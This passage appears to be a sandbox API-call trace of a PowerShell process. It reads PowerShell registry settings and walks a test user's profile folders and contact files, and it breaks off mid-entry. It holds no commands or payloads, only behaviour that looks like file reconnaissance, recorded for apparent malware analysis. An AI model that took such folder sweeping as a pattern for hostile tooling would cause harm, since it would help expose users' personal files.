[0115.395] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae784 | out: phkResult=0x99ae784*=0x850) returned 0x0 [0115.395] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x0, lpcbData=0x99ae7a0*=0x0 | out: lpType=0x99ae7a4*=0x1, lpData=0x0, lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.395] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x674e97c, lpcbData=0x99ae7a0*=0x56 | out: lpType=0x99ae7a4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.395] RegCloseKey (hKey=0x850) returned 0x0 [0115.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae784 | out: phkResult=0x99ae784*=0x850) returned 0x0 [0115.396] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x0, lpcbData=0x99ae7a0*=0x0 | out: lpType=0x99ae7a4*=0x1, lpData=0x0, lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.396] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x674eca0, lpcbData=0x99ae7a0*=0x56 | out: lpType=0x99ae7a4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.396] RegCloseKey (hKey=0x850) returned 0x0 [0115.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae784 | out: phkResult=0x99ae784*=0x850) returned 0x0 [0115.396] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x0, lpcbData=0x99ae7a0*=0x0 | out: lpType=0x99ae7a4*=0x1, lpData=0x0, lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.396] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x674efa8, lpcbData=0x99ae7a0*=0x56 | out: lpType=0x99ae7a4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.396] RegCloseKey (hKey=0x850) returned 0x0 [0115.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae784 | out: phkResult=0x99ae784*=0x850) returned 0x0 [0115.396] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x0, lpcbData=0x99ae7a0*=0x0 | out: lpType=0x99ae7a4*=0x1, lpData=0x0, lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.397] RegQueryValueExW (in: hKey=0x850, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae7a4, lpData=0x674f2bc, lpcbData=0x99ae7a0*=0x56 | out: lpType=0x99ae7a4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae7a0*=0x56) returned 0x0 [0115.397] RegCloseKey (hKey=0x850) returned 0x0 [0115.397] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae930*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae930*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0115.487] SetEvent (hEvent=0x884) returned 1 [0115.487] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99aeb60*=0x884, lpdwindex=0x99ae97c | out: lpdwindex=0x99ae97c) returned 0x0 [0115.488] CoTaskMemAlloc (cb=0x20e) returned 0x8e551d8 [0115.489] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e551d8, nSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x0 [0115.489] CoTaskMemFree (pv=0x8e551d8) [0115.490] GetStdHandle (nStdHandle=0xfffffff4) returned 0x40 [0115.490] GetFileType (hFile=0x40) returned 0x2 [0115.490] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99aec58 | out: lpConsoleScreenBufferInfo=0x99aec58) returned 1 [0115.491] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99aec58 | out: lpConsoleScreenBufferInfo=0x99aec58) returned 1 [0115.507] CoTaskMemAlloc (cb=0x20e) returned 0x8e55628 [0115.507] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55628, nSize=0x105 | out: lpBuffer="\x5638\x8e5\x60f0\x8e5\x10") returned 0x0 [0115.507] CoTaskMemFree (pv=0x8e55628) [0115.555] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0115.555] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0115.555] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0115.556] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0115.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aebf4) returned 1 [0115.560] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0115.560] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\", nBufferLength=0x105, lpBuffer=0x99ae6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\", lpFilePart=0x0) returned 0x16 [0115.560] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*", lpFindFileData=0x99ae91c | out: lpFindFileData=0x99ae91c) returned 0x8e856b8 [0115.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aebf4) returned 1 [0115.560] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0115.560] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\", nBufferLength=0x105, lpBuffer=0x99ae6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\", lpFilePart=0x0) returned 0x16 [0115.560] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*", lpFindFileData=0x99ae91c | out: lpFindFileData=0x99ae91c) returned 0x8e858b8 [0115.561] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.561] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.561] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.562] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.562] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpFilePart=0x0) returned 0x1e [0115.573] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.574] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0115.574] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0115.574] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpFilePart=0x0) returned 0x1f [0115.574] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpFilePart=0x0) returned 0x1f [0115.574] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.574] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Links", lpFilePart=0x0) returned 0x1b [0115.575] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.575] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.575] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0115.575] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.576] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpFilePart=0x0) returned 0x1e [0115.577] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.577] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0115.577] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.577] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.577] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.577] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpFilePart=0x0) returned 0x21 [0115.577] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.577] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpFilePart=0x0) returned 0x1e [0115.578] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.578] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.578] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.578] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.578] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99ae6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0115.578] FindNextFileW (in: hFindFile=0x8e856b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 0 [0115.578] FindClose (in: hFindFile=0x8e856b8 | out: hFindFile=0x8e856b8) returned 1 [0115.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec00) returned 1 [0115.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec0c) returned 1 [0115.578] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.578] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.579] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.580] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.581] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.582] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 1 [0115.582] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae978 | out: lpFindFileData=0x99ae978) returned 0 [0115.582] FindClose (in: hFindFile=0x8e858b8 | out: hFindFile=0x8e858b8) returned 1 [0115.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec00) returned 1 [0115.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0115.582] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts")) returned 0x11 [0115.582] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts")) returned 0x11 [0115.582] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpFilePart=0x0) returned 0x1e [0115.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0115.582] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts", nBufferLength=0x105, lpBuffer=0x99ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpFilePart=0x0) returned 0x1e [0115.582] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", nBufferLength=0x105, lpBuffer=0x99ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpFilePart=0x0) returned 0x1f [0115.583] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*", lpFindFileData=0x99ae89c | out: lpFindFileData=0x99ae89c) returned 0x8e858b8 [0115.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0115.583] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts", nBufferLength=0x105, lpBuffer=0x99ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpFilePart=0x0) returned 0x1e [0115.583] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", nBufferLength=0x105, lpBuffer=0x99ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpFilePart=0x0) returned 0x1f [0115.583] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*", lpFindFileData=0x99ae89c | out: lpFindFileData=0x99ae89c) returned 0x8e855b8 [0115.583] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.583] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.583] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.583] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.584] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.584] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.584] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.584] FindNextFileW (in: hFindFile=0x8e858b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 0 [0115.584] FindClose (in: hFindFile=0x8e858b8 | out: hFindFile=0x8e858b8) returned 1 [0115.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0115.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0115.584] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.584] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.584] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x36 [0115.585] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.585] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x34 [0115.585] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.585] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x33 [0115.585] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.585] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.585] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x34 [0115.585] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 1 [0115.585] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x99ae628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x34 [0115.585] FindNextFileW (in: hFindFile=0x8e855b8, lpFindFileData=0x99ae8f8 | out: lpFindFileData=0x99ae8f8) returned 0 [0115.586] FindClose (in: hFindFile=0x8e855b8 | out: hFindFile=0x8e855b8) returned 1 [0115.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0115.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0115.586] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact")) returned 0x20 [0115.586] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact")) returned 0x20 [0115.586] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact")) returned 0x20 [0115.586] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact")) returned 0x20 [0115.586] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact")) returned 0x20 [0115.587] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0115.587] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0115.587] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0115.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0115.587] GetFullPathNameW (in: 